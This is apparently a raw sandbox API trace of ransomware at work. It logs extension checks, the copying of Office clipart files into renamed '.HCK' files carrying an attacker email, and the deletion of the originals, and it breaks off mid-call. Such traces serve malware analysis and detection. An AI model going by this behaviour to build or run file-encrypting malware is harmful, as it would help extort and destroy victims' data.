1 [0242.879] lstrlenW (lpString=".xlsx") returned 5 [0242.879] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0242.879] lstrlenW (lpString=".ppt") returned 4 [0242.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0242.880] lstrlenW (lpString=".zip") returned 4 [0242.880] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.880] lstrlenW (lpString=".rar") returned 4 [0242.880] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.880] lstrlenW (lpString=".bz2") returned 4 [0242.880] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.880] lstrlenW (lpString=".7z") returned 3 [0242.880] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0242.880] lstrlenW (lpString=".dbf") returned 4 [0242.880] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0242.880] lstrlenW (lpString=".1cd") returned 4 [0242.880] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185828.WMF") returned 68 [0242.880] lstrlenW (lpString=".jpg") returned 4 [0242.880] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.880] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0242.880] lstrlenW (lpString="J0187647.WMF") returned 12 [0242.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0242.881] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=6596) returned 1 [0242.881] CloseHandle (hObject=0x3bc) returned 1 [0242.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf")) returned 0x220 [0242.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0242.881] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.881] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0242.882] GetLastError () returned 0x0 [0242.882] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x19c4, lpOverlapped=0x0) returned 1 [0242.883] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x19d0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x19d0, lpOverlapped=0x0) returned 1 [0242.884] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.884] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.884] SetEndOfFile (hFile=0x56c) returned 1 [0242.885] CloseHandle (hObject=0x56c) returned 1 [0242.885] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.885] SetEndOfFile (hFile=0x3bc) returned 1 [0242.886] CloseHandle (hObject=0x3bc) returned 1 [0242.886] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187647.wmf")) returned 1 [0242.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0242.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0242.888] lstrlenW (lpString=".doc") returned 4 [0242.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.888] lstrlenW (lpString=".docx") returned 5 [0242.888] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0242.888] lstrlenW (lpString=".pdf") returned 4 [0242.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.888] lstrlenW (lpString=".xls") returned 4 [0242.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.888] lstrlenW (lpString=".xlsx") returned 5 [0242.888] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0242.888] lstrlenW (lpString=".ppt") returned 4 [0242.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0242.888] lstrlenW (lpString=".zip") returned 4 [0242.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.888] lstrlenW (lpString=".rar") returned 4 [0242.888] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.888] lstrlenW (lpString=".bz2") returned 4 [0242.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.888] lstrlenW (lpString=".7z") returned 3 [0242.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0242.888] lstrlenW (lpString=".dbf") returned 4 [0242.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0242.888] lstrlenW (lpString=".1cd") returned 4 [0242.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0242.888] lstrlenW (lpString=".jpg") returned 4 [0242.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0242.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0242.888] lstrlenW (lpString=".doc") returned 4 [0242.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.888] lstrlenW (lpString=".docx") returned 5 [0242.888] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0242.888] lstrlenW (lpString=".pdf") returned 4 [0242.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.888] lstrlenW (lpString=".xls") returned 4 [0242.889] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.889] lstrlenW (lpString=".xlsx") returned 5 [0242.889] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0242.889] lstrlenW (lpString=".ppt") returned 4 [0242.889] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0242.889] lstrlenW (lpString=".zip") returned 4 [0242.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.889] lstrlenW (lpString=".rar") returned 4 [0242.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.889] lstrlenW (lpString=".bz2") returned 4 [0242.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.889] lstrlenW (lpString=".7z") returned 3 [0242.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0242.889] lstrlenW (lpString=".dbf") returned 4 [0242.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0242.889] lstrlenW (lpString=".1cd") returned 4 [0242.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187647.WMF") returned 68 [0242.889] lstrlenW (lpString=".jpg") returned 4 [0242.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.889] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0242.889] lstrlenW (lpString="J0187815.WMF") returned 12 [0242.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0242.890] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=5376) returned 1 [0242.890] CloseHandle (hObject=0x3bc) returned 1 [0242.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf")) returned 0x220 [0242.890] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0242.891] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.891] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0242.892] GetLastError () returned 0x0 [0242.892] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x1500, lpOverlapped=0x0) returned 1 [0242.893] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x1510, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x1510, lpOverlapped=0x0) returned 1 [0242.894] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.894] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0242.894] SetEndOfFile (hFile=0x56c) returned 1 [0242.894] CloseHandle (hObject=0x56c) returned 1 [0242.894] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.894] SetEndOfFile (hFile=0x3bc) returned 1 [0242.896] CloseHandle (hObject=0x3bc) returned 1 [0242.896] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.896] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187815.wmf")) returned 1 [0242.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0242.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0242.897] lstrlenW (lpString=".doc") returned 4 [0242.897] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.897] lstrlenW (lpString=".docx") returned 5 [0242.897] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0242.897] lstrlenW (lpString=".pdf") returned 4 [0242.897] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.897] lstrlenW (lpString=".xls") returned 4 [0242.897] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.897] lstrlenW (lpString=".xlsx") returned 5 [0242.897] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0242.897] lstrlenW (lpString=".ppt") returned 4 [0242.897] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0242.897] lstrlenW (lpString=".zip") returned 4 [0242.897] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.897] lstrlenW (lpString=".rar") returned 4 [0242.897] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.897] lstrlenW (lpString=".bz2") returned 4 [0242.897] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.897] lstrlenW (lpString=".7z") returned 3 [0242.897] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0242.897] lstrlenW (lpString=".dbf") returned 4 [0242.897] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0242.897] lstrlenW (lpString=".1cd") returned 4 [0242.897] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0242.897] lstrlenW (lpString=".jpg") returned 4 [0242.897] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0242.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0242.898] lstrlenW (lpString=".doc") returned 4 [0242.898] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0242.898] lstrlenW (lpString=".docx") returned 5 [0242.898] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0242.898] lstrlenW (lpString=".pdf") returned 4 [0242.898] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0242.898] lstrlenW (lpString=".xls") returned 4 [0242.898] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0242.898] lstrlenW (lpString=".xlsx") returned 5 [0242.898] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0242.898] lstrlenW (lpString=".ppt") returned 4 [0242.898] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0242.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0242.898] lstrlenW (lpString=".zip") returned 4 [0242.898] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0242.898] lstrlenW (lpString=".rar") returned 4 [0242.898] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0242.898] lstrlenW (lpString=".bz2") returned 4 [0242.898] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0242.898] lstrlenW (lpString=".7z") returned 3 [0242.898] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0242.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0242.898] lstrlenW (lpString=".dbf") returned 4 [0242.898] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0242.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0242.898] lstrlenW (lpString=".1cd") returned 4 [0242.898] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0242.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187815.WMF") returned 68 [0242.898] lstrlenW (lpString=".jpg") returned 4 [0242.898] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0242.898] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0242.898] lstrlenW (lpString="J0187817.WMF") returned 12 [0242.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0242.899] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=11644) returned 1 [0242.899] CloseHandle (hObject=0x3bc) returned 1 [0242.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf")) returned 0x220 [0242.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0242.900] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.900] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0242.900] GetLastError () returned 0x0 [0242.900] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x2d7c, lpOverlapped=0x0) returned 1 [0242.984] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0243.032] ReadFile (in: hFile=0x3bc, lpBuffer=0x3e02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.032] WriteFile (in: hFile=0x56c, lpBuffer=0x3e02020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e02020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0243.032] SetEndOfFile (hFile=0x56c) returned 1 [0243.033] CloseHandle (hObject=0x56c) returned 1 [0243.033] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.033] SetEndOfFile (hFile=0x3bc) returned 1 [0243.035] CloseHandle (hObject=0x3bc) returned 1 [0243.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0187817.wmf")) returned 1 [0243.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0243.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0243.037] lstrlenW (lpString=".doc") returned 4 [0243.037] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.037] lstrlenW (lpString=".docx") returned 5 [0243.037] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0243.037] lstrlenW (lpString=".pdf") returned 4 [0243.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.037] lstrlenW (lpString=".xls") returned 4 [0243.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.037] lstrlenW (lpString=".xlsx") returned 5 [0243.037] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0243.037] lstrlenW (lpString=".ppt") returned 4 [0243.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0243.037] lstrlenW (lpString=".zip") returned 4 [0243.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.038] lstrlenW (lpString=".rar") returned 4 [0243.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0243.038] lstrlenW (lpString=".bz2") returned 4 [0243.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0243.038] lstrlenW (lpString=".7z") returned 3 [0243.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0243.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0243.038] lstrlenW (lpString=".dbf") returned 4 [0243.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0243.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0243.038] lstrlenW (lpString=".1cd") returned 4 [0243.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0243.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0243.038] lstrlenW (lpString=".jpg") returned 4 [0243.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0243.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0243.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0243.038] lstrlenW (lpString=".doc") returned 4 [0243.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0243.038] lstrlenW (lpString=".docx") returned 5 [0243.038] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0243.038] lstrlenW (lpString=".pdf") returned 4 [0243.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0243.038] lstrlenW (lpString=".xls") returned 4 [0243.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0243.038] lstrlenW (lpString=".xlsx") returned 5 [0243.038] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0243.038] lstrlenW (lpString=".ppt") returned 4 [0243.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0243.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0187817.WMF") returned 68 [0243.038] lstrlenW (lpString=".zip") returned 4 [0243.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0243.038] lstrlenW (lpString=".rar") returned 4 [0243.038] lstrcmpiW 